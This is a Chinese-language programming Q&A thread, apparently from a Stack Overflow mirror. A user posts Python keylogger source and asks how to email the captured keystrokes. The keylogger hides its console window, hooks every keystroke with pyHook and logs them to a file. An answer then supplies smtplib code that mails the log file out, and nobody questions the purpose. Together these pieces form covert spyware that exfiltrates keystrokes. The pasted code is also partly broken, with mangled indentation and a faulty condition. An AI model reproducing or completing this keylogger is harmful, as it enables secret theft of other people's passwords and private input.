2016-09-25 44 views
-3

我最近創建了一個python鍵盤記錄器。代碼是:發送txt文件到電子郵件的Python程序

import win32api 
import win32console 
import win32gui 
import pythoncom,pyHook 

win=win32console.GetConsoleWindow() 
win32gui.ShowWindow(win,0) 

def OnKeyboardEvent(event): 
if event.Ascii==5: 
    _exit(1) 
if event.Ascii !=0 or 8: 
#open output.txt to read current keystrokes 
    f=open('c:\output.txt','r+') 
buffer=f.read() 
f.close() 
#open output.txt to write current + new keystrokes 
f=open('c:\output.txt','w') 
keylogs=chr(event.Ascii) 
if event.Ascii==13: 
    keylogs='/n' 
buffer+=keylogs 
f.write(buffer) 
f.close() 
# create a hook manager object 
hm=pyHook.HookManager() 
hm.KeyDown=OnKeyboardEvent 
# set the hook 
hm.HookKeyboard() 
# wait forever 
pythoncom.PumpMessages() 

但是,我想這個發送到我的電子郵件。你有什麼想法,我可以添加,以允許這個,或一個單獨的程序,將這樣做。

在此先感謝

+0

此鍵盤記錄代碼與發送電子郵件無關。你有沒有嘗試用Python發送電子郵件?任何類型的電子郵件?帶附件?你有沒有嘗試使用[smtplib](https://docs.python.org/2/library/smtplib.html)?將此代碼替換爲發送電子郵件的代碼。 – zvone

回答

0

The python docs has good documentation of emails in python.

# Import smtplib for the actual sending function 
import smtplib 

# Import the email modules we'll need 
from email.mime.text import MIMEText 

# Open a plain text file for reading. For this example, assume that 
# the text file contains only ASCII characters. 
with open(textfile) as fp: 
    # Create a text/plain message 
    msg = MIMEText(fp.read()) 

# me == the sender's email address 
# you == the recipient's email address 
msg['Subject'] = 'The contents of %s' % textfile 
msg['From'] = me 
msg['To'] = you 

# Send the message via our own SMTP server. 
s = smtplib.SMTP('localhost') 
s.send_message(msg) 
s.quit() 

這個例子正是你所要求的。

+0

謝謝,幫助。 –